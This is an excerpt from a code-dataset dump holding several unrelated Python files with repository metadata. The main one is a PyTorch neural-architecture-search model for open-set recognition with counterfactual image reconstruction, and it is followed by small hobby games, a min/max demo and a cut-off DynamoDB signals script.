downs\n\n\ndef downs2path(downs):\n path = [0]\n for down in downs[:-1]:\n if down == 0:\n path.append(path[-1])\n elif down == 1:\n path.append(path[-1] + 1)\n return path\n\n\ndef alphas2ops_path_width(alphas, path, widths):\n '''\n alphas: [alphas0, ..., alphas3]\n '''\n assert len(path) == len(widths) + 1, \"len(path) %d, len(widths) %d\" % (len(path), len(widths))\n ops = []\n path_compact = []\n widths_compact = []\n pos2alpha_skips = [] # (pos, alpha of skip) to be prunned\n min_len = int(np.round(len(path) / 3.)) + path[-1] * 2\n # keep record of position(s) of skip_connect\n for i in range(len(path)):\n scale = path[i]\n op = alphas[scale][i - scale].argmax()\n if op == 0 and (i == len(path) - 1 or path[i] == path[i + 1]):\n # alpha not softmax yet\n pos2alpha_skips.append((i, F.softmax(alphas[scale][i - scale], dim=-1)[0]))\n\n pos_skips = [pos for pos, alpha in pos2alpha_skips]\n pos_downs = [pos for pos in range(len(path) - 1) if path[pos] < path[pos + 1]]\n if len(pos_downs) > 0:\n pos_downs.append(len(path))\n for i in range(len(pos_downs) - 1):\n # cannot be all skip_connect between each downsample-pair\n # including the last down to the path-end\n pos1 = pos_downs[i];\n pos2 = pos_downs[i + 1]\n if pos1 + 1 in pos_skips and pos2 - 1 in pos_skips and pos_skips.index(pos2 - 1) - pos_skips.index(\n pos1 + 1) == (pos2 - 1) - (pos1 + 1):\n min_skip = [1, -1] # score, pos\n for j in range(pos1 + 1, pos2):\n scale = path[j]\n score = F.softmax(alphas[scale][j - scale], dim=-1)[0]\n if score <= min_skip[0]:\n min_skip = [score, j]\n alphas[path[min_skip[1]]][min_skip[1] - path[min_skip[1]]][0] = -float('inf')\n\n if len(pos2alpha_skips) > len(path) - min_len:\n pos2alpha_skips = sorted(pos2alpha_skips, key=lambda x: x[1], reverse=True)[:len(path) - min_len]\n pos_skips = [pos for pos, alpha in pos2alpha_skips]\n for i in range(len(path)):\n scale = path[i]\n if i < len(widths): width = widths[i]\n op = alphas[scale][i - scale].argmax()\n if op == 0:\n if i in pos_skips:\n # remove the last width if the last layer (skip_connect) is to be prunned\n if i == len(path) - 1: widths_compact = widths_compact[:-1]\n continue\n else:\n alphas[scale][i - scale][0] = -float('inf')\n op = alphas[scale][i - scale].argmax()\n path_compact.append(scale)\n if i < len(widths): widths_compact.append(width)\n ops.append(op)\n return ops, path_compact, widths_compact\n\n\ndef betas2path(betas, last, layers):\n\n downs = [0] * layers\n # betas1 is of length layers-2; beta2: layers-3; beta3: layers-4\n if last == 1:\n # print(betas[1].shape)\n if betas[1].shape[0] == 1:\n downs[0] = 1\n else:\n down_idx = np.argmax([beta[0] for beta in betas[1][1:-1].cpu().numpy()]) + 1\n downs[down_idx] = 1\n elif last == 2:\n if betas[2].shape[0] <= 1:\n downs[0] = 1\n downs[1] = 1\n else:\n max_prob = 0;\n max_ij = (0, 1)\n for j in range(layers - 4):\n for i in range(1, j - 1):\n prob = betas[1][i][0] * betas[2][j][0]\n if prob > max_prob:\n max_ij = (i, j)\n max_prob = prob\n downs[max_ij[0] + 1] = 1;\n downs[max_ij[1] + 2] = 1\n path = downs2path(downs)\n # print(path)\n assert path[-1] == last\n return path\n\n\ndef path2widths(path, ratios, width_mult_list):\n widths = []\n for layer in range(1, len(path)):\n scale = path[layer]\n if scale == 0:\n widths.append(width_mult_list[ratios[scale][layer - 1].argmax()])\n else:\n widths.append(width_mult_list[ratios[scale][layer - scale].argmax()])\n return widths\n\n\ndef network_metas(alphas, betas, ratios, width_mult_list, layers, last):\n betas[1] = F.softmax(betas[1], dim=-1)\n betas[2] = F.softmax(betas[2], dim=-1)\n path = betas2path(betas, last, layers)\n widths = path2widths(path, ratios, width_mult_list)\n ops, path, widths = alphas2ops_path_width(alphas, path, widths)\n assert len(ops) == len(path) and len(path) == len(widths) + 1, \"op %d, path %d, width%d\" % (\n len(ops), len(path), len(widths))\n downs = path2downs(path) # 0 same 1 down\n return ops, path, downs, widths\n\n\nclass MixedOp(nn.Module):\n def __init__(self, C_in, C_out, op_idx, stride=1):\n super(MixedOp, self).__init__()\n self._op = OPS[PRIMITIVES[op_idx]](C_in, C_out, stride, slimmable=False, width_mult_list=[1.])\n\n def forward(self, x):\n return self._op(x)\n\n def forward_latency(self, size):\n # int: force #channel; tensor: arch_ratio; float(<=1): force width\n latency, size_out = self._op.forward_latency(size)\n return latency, size_out\n\n\nclass Cell(nn.Module):\n def __init__(self, op_idx, C_in, C_out, down, latent_dim=None, flat_dim=None):\n super(Cell, self).__init__()\n self._C_in = C_in\n self._C_out = C_out\n self._down = down\n self.latent_dim = latent_dim\n self.flat_dim = flat_dim\n\n if self._down:\n self._op = MixedOp(C_in, C_out, op_idx, stride=2)\n else:\n self._op = MixedOp(C_in, C_out, op_idx)\n\n # self.mean_layer = nn.Sequential(\n # nn.Linear(self.flat_dim * self.flat_dim * self._C_out, self.latent_dim)\n # )\n # self.var_layer = nn.Sequential(\n # nn.Linear(self.flat_dim * self.flat_dim * self._C_out, self.latent_dim)\n # )\n\n def forward(self, input):\n out = self._op(input)\n # out_flat = out.view(-1, self._C_out * self.flat_dim * self.flat_dim)\n # mu, var = self.mean_layer(out_flat), self.var_layer(out_flat)\n # var = F.softplus(var) + 1e-8\n return out\n\n def forward_latency(self, size):\n # ratios: (in, out, down)\n out = self._op.forward_latency(size)\n return out\n\n\nclass Network_Multi_Path_Infer(nn.Module):\n def __init__(self, alphas, betas, ratios, num_classes=6, in_channel=3, layers=6,\n criterion=nn.CrossEntropyLoss(ignore_index=-1),\n Fch=16, width_mult_list=[1., ], stem_head_width=(1., 1.), latent_dim32=32*1,\n temperature=1, z_dim=10, img_size=64, down_scale_last=4,\n skip_connect=1, wcontras=1):\n super(Network_Multi_Path_Infer, self).__init__()\n self._num_classes = num_classes\n assert layers >= 2\n self._layers = layers\n self._criterion = criterion\n self._Fch = Fch\n self.in_channel = in_channel\n self.latent_dim32 = latent_dim32\n self.temperature = temperature\n self.z_dim = z_dim\n self.img_size = img_size\n self.down_scale_last = down_scale_last\n self.last_size = self.img_size // (2 ** self.down_scale_last)\n self.wcontras = wcontras\n\n self.skip_connect = skip_connect\n\n if ratios[0].size(1) == 1:\n self._width_mult_list = [1., ]\n else:\n self._width_mult_list = width_mult_list\n self._stem_head_width = stem_head_width\n self.latency = 0\n\n self.down1 = ConvNorm(self.in_channel, self.num_filters(4, 1), kernel_size=1, stride=1, padding=0, bias=False,\n groups=1, slimmable=False)\n self.down2 = BasicResidual2x(self.num_filters(4, 1), self.num_filters(8, 1), kernel_size=3, stride=2, groups=1,\n slimmable=False)\n self.down4 = BasicResidual2x(self.num_filters(8, 1), self.num_filters(16, 1), kernel_size=3, stride=2, groups=1,\n slimmable=False)\n\n self.ops0, self.path0, self.downs0, self.widths0 = network_metas(alphas, betas, ratios, self._width_mult_list,\n layers, 0)\n self.ops1, self.path1, self.downs1, self.widths1 = network_metas(alphas, betas, ratios, self._width_mult_list,\n layers, 1)\n self.ops2, self.path2, self.downs2, self.widths2 = network_metas(alphas, betas, ratios, self._width_mult_list,\n layers, 2)\n\n def num_filters(self, scale, width=1.0):\n return int(np.round(scale * self._Fch * width))\n\n def build_structure(self, lasts):\n self._branch = len(lasts)\n self.lasts = lasts\n self.ops = [getattr(self, \"ops%d\" % last) for last in lasts]\n self.paths = [getattr(self, \"path%d\" % last) for last in lasts]\n self.downs = [getattr(self, \"downs%d\" % last) for last in lasts]\n self.widths = [getattr(self, \"widths%d\" % last) for last in lasts]\n self.branch_groups, self.cells = self.get_branch_groups_cells(self.ops, self.paths, self.downs, self.widths,\n self.lasts)\n self.build_arm_ffm_head()\n\n def build_arm_ffm_head(self):\n\n\n self.dec32 = nn.Linear(self.latent_dim32 + self.z_dim, 1024 * self.last_size * self.last_size)\n if self.skip_connect == 0:\n self.up32 = TCONV(1024, 512, t_kernel=3, t_stride=2, t_padding=1, outpadding=1)\n self.up16 = TCONV(512, 256, t_kernel=3, t_stride=2, t_padding=1, outpadding=1)\n self.up8 = TCONV(256, 128, t_kernel=3, t_stride=2, t_padding=1, outpadding=1)\n self.up4 = TCONV(128, 64, t_kernel=3, t_stride=2, t_padding=1, outpadding=1)\n self.up2 = TCONV(64, 32, t_kernel=1, t_stride=1, t_padding=0, outpadding=0)\n self.refine1 = FCONV(32, self.in_channel, t_kernel=1, t_stride=1, t_padding=0)\n else:\n self.up32 = TCONV(2048, 512, t_kernel=3, t_stride=2, t_padding=1, outpadding=1)\n self.up16 = TCONV(1024, 256, t_kernel=3, t_stride=2, t_padding=1, outpadding=1)\n self.up8 = TCONV(512, 128, t_kernel=3, t_stride=2, t_padding=1, outpadding=1)\n if self.skip_connect == 1:\n self.up4 = TCONV(256, 64, t_kernel=3, t_stride=2, t_padding=1, outpadding=1)\n self.up2 = TCONV(128, 32, t_kernel=1, t_stride=1, t_padding=0, outpadding=0)\n self.refine1 = FCONV(32, self.in_channel, t_kernel=1, t_stride=1, t_padding=0)\n else:\n self.up4 = TCONV(128, 64, t_kernel=3, t_stride=2, t_padding=1, outpadding=1)\n self.up2 = TCONV(64, 32, t_kernel=1, t_stride=1, t_padding=0, outpadding=0)\n self.refine1 = FCONV(32, self.in_channel, t_kernel=1, t_stride=1, t_padding=0)\n\n self.classifier = nn.Linear(self.latent_dim32, self._num_classes)\n\n self.one_hot32 = nn.Linear(self._num_classes, self.latent_dim32)\n\n self.mean_layer32 = nn.Sequential(\n nn.Linear(int(1024 * self.last_size * self.last_size), self.latent_dim32 + self.z_dim)\n )\n self.var_layer32 = nn.Sequential(\n nn.Linear(int(1024 * self.last_size * self.last_size), self.latent_dim32 + self.z_dim)\n )\n\n\n def get_branch_groups_cells(self, ops, paths, downs, widths, lasts):\n num_branch = len(ops)\n layers = max([len(path) for path in paths])\n groups_all = []\n self.ch_16 = 0;\n self.ch_8_2 = 0;\n self.ch_8_1 = 0\n cells = nn.ModuleDict() # layer-branch: op\n branch_connections = np.ones(\n (num_branch, num_branch)) # maintain connections of heads of branches of different scales\n # all but the last layer\n # we determine branch-merging by comparing their next layer: if next-layer differs, then the \"down\" of current layer must differ\n for l in range(layers):\n connections = np.ones((num_branch, num_branch)) # if branch i/j share same scale & op in this layer\n for i in range(num_branch):\n for j in range(i + 1, num_branch):\n # we also add constraint on ops[i][l] != ops[j][l] since some skip-connect may already be shrinked/compacted => layers of branches may no longer aligned in terms of alphas\n # last layer won't merge\n if len(paths[i]) <= l + 1 or len(paths[j]) <= l + 1 or paths[i][l + 1] != paths[j][l + 1] or ops[i][\n l] != ops[j][l] or widths[i][l] != widths[j][l]:\n connections[i, j] = connections[j, i] = 0\n branch_connections *= connections\n branch_groups = []\n # build branch_group for processing\n for branch in range(num_branch):\n # also accept if this is the last layer of branch (len(paths[branch]) == l+1)\n if len(paths[branch]) < l + 1: continue\n inserted = False\n for group in branch_groups:\n if branch_connections[group[0], branch] == 1:\n group.append(branch)\n inserted = True\n continue\n if not inserted:\n branch_groups.append([branch])\n for group in branch_groups:\n # branch in the same group must share the same op/scale/down/width\n if len(group) >= 2: assert ops[group[0]][l] == ops[group[1]][l] and paths[group[0]][l + 1] == \\\n paths[group[1]][l + 1] and downs[group[0]][l] == downs[group[1]][l] and \\\n widths[group[0]][l] == widths[group[1]][l]\n if len(group) == 3: assert ops[group[1]][l] == ops[group[2]][l] and paths[group[1]][l + 1] == \\\n paths[group[2]][l + 1] and downs[group[1]][l] == downs[group[2]][l] and \\\n widths[group[1]][l] == widths[group[2]][l]\n op = ops[group[0]][l]\n scale = 2 ** (paths[group[0]][l] + 3) *2\n down = downs[group[0]][l]\n if l < len(paths[group[0]]) - 1: assert down == paths[group[0]][l + 1] - paths[group[0]][l]\n assert down in [0, 1]\n if l == 0:\n cell = Cell(op, self.num_filters(scale, self._stem_head_width[0]),\n self.num_filters(scale * (down + 1), widths[group[0]][l]), down)\n elif l == len(paths[group[0]]) - 1:\n # last cell for this branch\n assert down == 0\n cell = Cell(op, self.num_filters(scale, widths[group[0]][l - 1]),\n self.num_filters(scale, self._stem_head_width[1]), down)\n else:\n cell = Cell(op, self.num_filters(scale, widths[group[0]][l - 1]),\n self.num_filters(scale * (down + 1), widths[group[0]][l]), down)\n # For Feature Fusion: keep record of dynamic #channel of last 1/16 and 1/8 of \"1/32 branch\"; last 1/8 of \"1/16 branch\"\n if 2 in self.lasts and self.lasts.index(2) in group and down and scale == 16: self.ch_16 = cell._C_in\n if 2 in self.lasts and self.lasts.index(2) in group and down and scale == 8: self.ch_8_2 = cell._C_in\n if 1 in self.lasts and self.lasts.index(1) in group and down and scale == 8: self.ch_8_1 = cell._C_in\n for branch in group:\n cells[str(l) + \"-\" + str(branch)] = cell\n groups_all.append(branch_groups)\n return groups_all, cells\n\n def agg_ffm(self, outputs):\n global check_vec\n outputs32 = outputs[4]\n outputs16 = outputs[3]\n outputs8 = outputs[2]\n outputs4 = outputs[1]\n outputs2 = outputs[0]\n latent_mu = self.mean_layer32(outputs32.view(-1, 1024 * self.last_size * self.last_size))\n latent_var = self.var_layer32(outputs32.view(-1, 1024 * self.last_size * self.last_size))\n latent_var = F.softplus(latent_var) + 1e-8\n\n\n z_mu, y_mu = torch.split(latent_mu, [self.z_dim, self.latent_dim32], dim=1)\n z_var, y_var = torch.split(latent_var, [self.z_dim, self.latent_dim32], dim=1)\n # z_var = F.softplus(z_var) + 1e-8\n # y_var = F.softplus(y_var) + 1e-8\n\n y_latent = sample_gaussian(y_mu, y_var)\n latent = sample_gaussian(latent_mu, latent_var)\n predict = F.log_softmax(self.classifier(y_latent), dim=1)\n predict_test = F.log_softmax(self.classifier(y_mu), dim=1)\n\n decoded = self.dec32(latent_mu)\n decoded = decoded.view(-1, 1024, self.last_size, self.last_size)\n\n\n if self.skip_connect == 0:\n out32 = outputs32\n out16 = self.up32.decode(out32)\n out8 = self.up16.decode(out16)\n out4 = self.up8.decode(out8)\n out2 = self.up4.decode(out4)\n else:\n out32 = torch.cat((decoded, outputs32), dim=1)\n out16 = torch.cat((self.up32.decode(out32), outputs16), dim=1)\n out8 = torch.cat((self.up16.decode(out16), outputs8), dim=1)\n if self.skip_connect == 1:\n out4 = torch.cat((self.up8.decode(out8), outputs4), dim=1)\n out2 = torch.cat((self.up4.decode(out4), outputs2), dim=1)\n else:\n out4 = self.up8.decode(out8)\n out2 = self.up4.decode(out4)\n out1 = self.up2.decode(out2)\n reconstructed = self.refine1.final_decode(out1)\n\n # print(\"The latent vector is\")\n # print(torch.Tensor.cpu(reconstructed[0]).detach().numpy())\n check_vec = reconstructed[0]\n return latent, latent_mu, latent_var, \\\n predict, predict_test,\\\n reconstructed, outputs\n\n\n def forward(self, input):\n _, _, H, W = input.size()\n enc2 = self.down1(input)\n enc4 = self.down2(enc2)\n enc8 = self.down4(enc4)\n outputs = [enc8] * self._branch\n # print(enc8.shape)\n for layer in range(len(self.branch_groups)):\n for group in self.branch_groups[layer]:\n output = self.cells[str(layer) + \"-\" + str(group[0])](outputs[group[0]])\n scale = int(H // output.size(2))\n for branch in group:\n outputs[branch] = output\n if scale == 4:\n outputs8 = output\n elif scale == 8:\n outputs16 = output\n elif scale == 16:\n outputs32 = output\n # print(enc8)\n # print(outputs32)\n latent, latent_mu, latent_var, \\\n predict, predict_test, \\\n reconstructed, outputs = self.agg_ffm([enc2, enc4, outputs8, outputs16, outputs32])\n # print(\"The latent vector of the reconstructed image is\")\n # print(torch.Tensor.cpu(latent_mu[0][10:]).detach().numpy())\n # print(\"The reconstructed image is\")\n # print(torch.Tensor.cpu(reconstructed[0]).detach().numpy())\n return latent, latent_mu, latent_var, predict, predict_test, reconstructed, outputs\n\n def get_yh(self, y_de):\n yh = self.one_hot32(y_de)\n return yh\n\n def contrastive_loss(self, x, latent_mu, out, target, rec_x, img_index=None, save_folder=\"cf_img\"):\n \"\"\"\n z : batchsize * 10\n \"\"\"\n bs = x.size(0)\n ### get current yh for each class\n target_en = torch.eye(self._num_classes)\n class_yh = self.get_yh(target_en.cuda()) # 6*32\n\n yh_size = class_yh.size(1)\n yh = torch.zeros(bs, yh_size).cuda()\n y_all = torch.zeros(bs, self._num_classes, yh_size).cuda()\n for i in range(bs):\n y_all[i] = class_yh\n # print(target[i])\n # if target[i] < self._num_classes:\n yh[i] = class_yh[target[i]]\n\n rec_x_all = self.generate_cf(x, latent_mu, out, y_all)\n\n x_expand = x.unsqueeze(1).repeat_interleave(self._num_classes, dim=1)\n neg_dist = -((x_expand - rec_x_all) ** 2).mean((2, 3, 4)) * self.temperature # N*(K+1)\n neg_dist[:, target] = neg_dist[:, target] - 0.005 * self.temperature\n contrastive_loss_euclidean = nn.CrossEntropyLoss()(neg_dist, target)\n\n if img_index != None:\n if img_index < 10:\n for i in range(rec_x_all.shape[1]):\n neg = torch.Tensor.cpu(y_all[0]).detach().numpy()\n c_yh = torch.Tensor.cpu(class_yh).detach().numpy()\n dist = torch.Tensor.cpu(neg_dist).detach().numpy()\n with open('cf_img/train_yh.txt', 'ab') as f:\n np.savetxt(f, c_yh[:, 0], fmt='%f', delimiter=' ', newline='\\r')\n f.write(b'\\n')\n np.savetxt(f, neg[:, 0], fmt='%f', delimiter=' ', newline='\\r')\n f.write(b'\\n')\n with open('cf_img/train_cf_re_diff.txt', 'ab') as f:\n # np.savetxt(f, c_yh, fmt='%f', delimiter=' ', newline='\\r')\n np.savetxt(f, dist, fmt='%f', delimiter=' ', newline='\\r')\n f.write(b'\\n')\n\n temp = rec_x_all[0][i]\n temp = torch.Tensor.cpu(temp).detach().numpy()\n temp = temp.transpose(1, 2, 0)\n temp = temp * (0.2023, 0.1994, 0.2010) + (0.4914, 0.4822, 0.4465)\n # temp = temp * 0.3081 + 0.1307\n # temp = np.reshape(temp, (32, 32))\n temp = temp * 255\n temp = temp.astype(np.uint8)\n img = Image.fromarray(temp)\n img.save(os.path.join(save_folder, \"{}_{}.jpeg\".format(img_index, range(self._num_classes)[i])))\n # print(yh)\n return contrastive_loss_euclidean, yh\n\n def generate_cf(self, x, latent_mu, out, mean_y, img_index=None, save_folder=\"cf_img\"):\n \"\"\"\n :param x:\n :param mean_y: list, the class-wise feature y\n \"\"\"\n global check_vec\n if mean_y.dim() == 2:\n class_num = mean_y.size(0)\n elif mean_y.dim() == 3:\n class_num = mean_y.size(1)\n bs = latent_mu.size(0)\n\n z_latent_mu, y_latent_mu = torch.split(latent_mu, [self.z_dim, self.latent_dim32], dim=1)\n\n z_latent_mu = z_latent_mu.unsqueeze(1).repeat_interleave(class_num, dim=1)\n if mean_y.dim() == 2:\n y_mu = mean_y.unsqueeze(0).repeat_interleave(bs, dim=0)\n elif mean_y.dim() == 3:\n y_mu = mean_y\n latent_zy = torch.cat([z_latent_mu, y_mu], dim=2).view(bs*class_num, latent_mu.size(1))\n # for i in range(6):\n # print(\"The vector of the {} image is\".format(i))\n # print(torch.Tensor.cpu(latent_zy[i][10:]).detach().numpy())\n\n decoded = self.dec32(latent_zy)\n decoded = decoded.view(-1, 1024, self.last_size, self.last_size)\n if self.skip_connect == 0:\n out32 = decoded\n out16 = self.up32.decode(out32)\n out8 = self.up16.decode(out16)\n out4 = self.up8.decode(out8)\n out2 = self.up4.decode(out4)\n else:\n out32 = torch.cat((decoded, out[4].repeat_interleave(class_num, dim=0)), dim=1)\n out16 = torch.cat((self.up32.decode(out32), out[3].repeat_interleave(class_num, dim=0)), dim=1)\n out8 = torch.cat((self.up16.decode(out16), out[2].repeat_interleave(class_num, dim=0)), dim=1)\n if self.skip_connect == 1:\n out4 = torch.cat((self.up8.decode(out8), out[1].repeat_interleave(class_num, dim=0)), dim=1)\n out2 = torch.cat((self.up4.decode(out4), out[0].repeat_interleave(class_num, dim=0)), dim=1)\n else:\n out4 = self.up8.decode(out8)\n out2 = self.up4.decode(out4)\n out1 = self.up2.decode(out2)\n x_re = self.refine1.final_decode(out1)\n # for i in range(6):\n # # print(\"The {} image is\".format(i))\n # # print(torch.Tensor.cpu(x_re[i]).detach().numpy())\n # print(\"The latent vector of {} image is\".format(i))\n # print(torch.Tensor.cpu(x_re[i]).detach().numpy())\n # for i in range(6):\n # diff = torch.mean((check_vec-x_re[i]).pow(2))\n # print(\"The difference between {} image is\".format(i))\n # print(torch.Tensor.cpu(diff).detach().numpy())\n rec_x_all = x_re.view(bs, class_num, *x.size()[1:])\n if img_index != None:\n if img_index < 50:\n for i in range(rec_x_all.shape[1]):\n temp = rec_x_all[0][i]\n temp = torch.Tensor.cpu(temp).detach().numpy()\n temp = temp.transpose(1, 2, 0)\n temp = temp * (0.2023, 0.1994, 0.2010) + (0.4914, 0.4822, 0.4465)\n # temp = temp * 0.3081 + 0.1307\n # temp = np.reshape(temp, (32, 32))\n temp = temp * 255\n temp = temp.astype(np.uint8)\n img = Image.fromarray(temp)\n img.save(os.path.join(save_folder, \"{}_{}.jpeg\".format(img_index, range(self._num_classes)[i])))\n return rec_x_all\n\n def rec_loss_cf(self, feature_y_mean, val_loader, test_loader, args):\n rec_loss_cf_all = []\n class_num = feature_y_mean.size(0)\n if len(val_loader) != 0:\n for data_test, target_test in val_loader:\n if args.cuda:\n data_test, target_test = data_test.cuda(), target_test.cuda()\n with torch.no_grad():\n data_test, target_test = Variable(data_test), Variable(target_test)\n\n _, latent_mu, _, _, _, _, outputs = self.forward(data_test)\n\n re_test = self.generate_cf(data_test, latent_mu, outputs, feature_y_mean)\n data_test_cf = data_test.unsqueeze(1).repeat_interleave(class_num, dim=1)\n rec_loss = (re_test - data_test_cf).pow(2).sum((2, 3, 4))\n rec_loss_cf = rec_loss.min(1)[0]\n rec_loss_cf_all.append(rec_loss_cf)\n\n args.img_index = 0\n for data_test, target_test in test_loader:\n\n if args.cuda:\n data_test, target_test = data_test.cuda(), target_test.cuda()\n with torch.no_grad():\n data_test, target_test = Variable(data_test), Variable(target_test)\n\n _, latent_mu, _, _, _, reconstructed, outputs = self.forward(data_test)\n\n re_test = self.generate_cf(data_test, latent_mu, outputs, feature_y_mean, args.img_index, \"unknown_cf\")\n data_test_cf = data_test.unsqueeze(1).repeat_interleave(class_num, dim=1)\n rec_loss = (re_test - data_test_cf).pow(2).sum((2, 3, 4))\n rec_loss_cf = rec_loss.min(1)[0]\n rec_loss_cf_all.append(rec_loss_cf)\n\n # if args.img_index < 50:\n # re = torch.Tensor.cpu(reconstructed[0]).detach().numpy()\n # ori = torch.Tensor.cpu(data_test[0]).detach().numpy()\n # temp = re\n # temp = temp.transpose(1, 2, 0)\n # temp = temp * (0.2023, 0.1994, 0.2010) + (0.4914, 0.4822, 0.4465)\n # # temp = temp * 0.3081 + 0.1307\n # temp = temp * 255\n # temp = temp.astype(np.uint8)\n # img = Image.fromarray(temp)\n # img.save(os.path.join(\"unknown_cf\", \"{}_re.jpeg\".format(args.img_index)))\n #\n # ori = ori\n # ori = ori.transpose(1, 2, 0)\n # ori = ori * (0.2023, 0.1994, 0.2010) + (0.4914, 0.4822, 0.4465)\n # # ori = ori * 0.3081 + 0.1307\n # ori = ori * 255\n # ori = ori.astype(np.uint8)\n # ori = Image.fromarray(ori)\n # ori.save(os.path.join(\"unknown_cf\", \"{}_ori.jpeg\".format(args.img_index)))\n # args.img_index += 1\n rec_loss_cf_all = torch.cat(rec_loss_cf_all, 0)\n return rec_loss_cf_all\n\n def rec_loss_cf_train(self, feature_y_mean, train_loader, args):\n rec_loss_cf_all = []\n class_num = feature_y_mean.size(0)\n for data_train, target_train in train_loader:\n if args.cuda:\n data_train, target_train = data_train.cuda(), target_train.cuda()\n with torch.no_grad():\n data_train, target_train = Variable(data_train), Variable(target_train)\n\n _, latent_mu, _, _, _, _, outputs = self.forward(data_train)\n\n re_train = self.generate_cf(data_train, latent_mu, outputs, feature_y_mean)\n data_train_cf = data_train.unsqueeze(1).repeat_interleave(class_num, dim=1)\n rec_loss = (re_train - data_train_cf).pow(2).sum((2, 3, 4))\n rec_loss_cf = rec_loss.min(1)[0]\n rec_loss_cf_all.append(rec_loss_cf)\n\n rec_loss_cf_all = torch.cat(rec_loss_cf_all, 0)\n return rec_loss_cf_all\n\n","repo_name":"zxl101/NAS_OSR","sub_path":"train/model_seg.py","file_name":"model_seg.py","file_ext":"py","file_size_in_byte":31925,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"53"}
+{"seq_id":"13594537667","text":"from random import randint\nfrom time import sleep\nprint(\"~~\" * 20)\nprint('JOGO DA ADVINHAÇÃO')\nprint(\"~~\" * 20)\npc = randint(1, 10)\nprint('''Olá sou o computador...\nAcabei de pensar em um número de 1 a 10\nSerá que você é capaz de advinhar ?''')\ntentar = 0\npal = 0\nwhile pal != pc:\n pal = int(input('Digite o seu palpite: '))\n tentar += 1\n if pal < pc:\n print('Mais... Tente outra vez!')\n elif pal > pc:\n print('Menos... Tente outra vez!')\nprint(f'Você conseguiu em {tentar} tentativas parabéns!')\nsleep(2)\nprint(\"=-\" * 20)\nprint('''RANKING DE TENTATIVAS\n\n1 tentativa = Prof. Xavier\n2 tentativas = Profisional\n3 a 4 tentativas = Bom\n5 a 7 tentativas = Normal \nAcima de 7 tentativas = Noob''')","repo_name":"Xaixen/Python3","sub_path":"Exercícios 1/jogo da advinhação.py","file_name":"jogo da advinhação.py","file_ext":"py","file_size_in_byte":726,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"53"}
+{"seq_id":"15535727852","text":"import pygame\r\n# Creer classe qui represente notre jeu\r\nfrom Player import Player\r\nfrom Monster import Monster\r\nfrom comet_event import CometFallEvent\r\n\r\nclass Game:\r\n\r\n def __init__(self):\r\n self.is_playing = False\r\n # Génération de notre joueur\r\n self.all_player = pygame.sprite.Group()\r\n self.player = Player(self)\r\n self.all_player.add(self.player)\r\n # Générer l'vènement\r\n self.comet_event = CometFallEvent(self)\r\n # groupe de monstres\r\n self.all_monster = pygame.sprite.Group()\r\n self.pressed = {}\r\n\r\n def start(self):\r\n self.is_playing = True\r\n self.spawn_monster()\r\n self.spawn_monster()\r\n\r\n def game_over(self):\r\n # Remettre le jeu a zéro.\r\n self.all_monster = pygame.sprite.Group()\r\n self.comet_event.all_comets = pygame.sprite.Group()\r\n self.player.health = self.player.max_health\r\n self.comet_event.reset_percent()\r\n self.is_playing = False\r\n\r\n def update(self, screen):\r\n # Appliquer l'image du joueur\r\n screen.blit(self.player.image, self.player.rect)\r\n self.player.update_health_bar(screen)\r\n\r\n # actualiser la barre d'évènement du jeu\r\n self.comet_event.update_bar(screen)\r\n\r\n # actualiser l'animation du joueur\r\n self.player.update_animation()\r\n\r\n # Recupereer les projectile du joueur\r\n for projectile in self.player.all_projectiles:\r\n projectile.move()\r\n\r\n # Recuperer les projectile du joueur\r\n for monster in self.all_monster:\r\n monster.forward()\r\n monster.update_health_bar(screen)\r\n monster.update_animation()\r\n\r\n # Recuperer les cometes du joueur\r\n for comet in self.comet_event.all_comets:\r\n comet.fall()\r\n\r\n # Applique l'image du projectile\r\n self.player.all_projectiles.draw(screen)\r\n\r\n # Appliquer l'ensemble des images de monstre\r\n self.all_monster.draw(screen)\r\n\r\n # Appliquer l'ensemble des image du goupe comete\r\n self.comet_event.all_comets.draw(screen)\r\n\r\n # Verifier si le joueur souhaite aller a gauche ou a droite\r\n if self.pressed.get(pygame.K_RIGHT) and self.player.rect.x + self.player.rect.width < screen.get_width():\r\n self.player.move_right()\r\n elif self.pressed.get(pygame.K_LEFT) and self.player.rect.x >= 0:\r\n self.player.move_left()\r\n\r\n def check_collision(self, sprinte, group):\r\n return pygame.sprite.spritecollide(sprinte, group, False, pygame.sprite.collide_mask)\r\n\r\n def spawn_monster(self):\r\n monster = Monster(self)\r\n self.all_monster.add(monster)\r\n","repo_name":"PascalCmoa/mummy_game","sub_path":"Game.py","file_name":"Game.py","file_ext":"py","file_size_in_byte":2714,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"53"}
+{"seq_id":"23669195649","text":"def findMaxOfArray(array): \n maxnumber = array[0]\n for j in array: \n if j > maxnumber:\n maxnumber = j\n\n return maxnumber\n\n\n\ndef findMinOfArray(array): \n #TodDocl\n minnumber = array[0]\n for j in array: \n if minnumber > j: \n minnumber = j\n\n return minnumber\nprint(findMaxOfArray([1,2,10,4,6]))\n\nprint(findMinOfArray([1,2,10,4,6]))\n","repo_name":"norumn/Githubdemo","sub_path":"demo.py","file_name":"demo.py","file_ext":"py","file_size_in_byte":386,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"53"}
+{"seq_id":"9267879837","text":"\n\nfrom src.library.dynamo.Client import Client\nfrom src.library.dynamo.Table import Table\n\nfrom src.library.osmv.Osmv import Osmv\nfrom src.library.params import param\nfrom src.library.params import rviv as param_rviv\nfrom src.library.signals.calc import calc_signals\nfrom src.library.signals.calc import select_signals\nfrom src.library.signals.rviv import query_rviv\n\nosmv = Osmv(param.IS_LOCAL, param.BUCKET_NAME)\n(dbr, dbc, s3r, s3c, bucket, db_dict) = osmv.select_env(param.ENV_USED)\n\n\ndata_table = Table(dbr.Table(db_dict[\"data_table\"]))\nvols_table = Table(dbr.Table(db_dict[\"vols_table\"]))\nrv_table = Table(dbr.Table(db_dict[\"rv_table\"]))\niv_table = Table(dbr.Table(db_dict[\"iv_table\"]))\n\ndef process_signal_ticker(ticker, ref_ticker, maturity_suffix):\n\n table_name = \"signals\"+\"_\"+ref_ticker+\"_\"+maturity_suffix\n\n DB = Client(dbc)\n list_tables = DB.list_tables()\n\n # create table\n\n if table_name not in list_tables:\n DB.create_table(table_name, \"ticker\", \"S\", True, \"trade_date\", \"S\")\n DB.add_index(table_name, \"reverse\", \"trade_date\", \"S\", \"ticker\", \"S\")\n\n signal_table = Table(dbr.Table(table_name))\n\n #batch 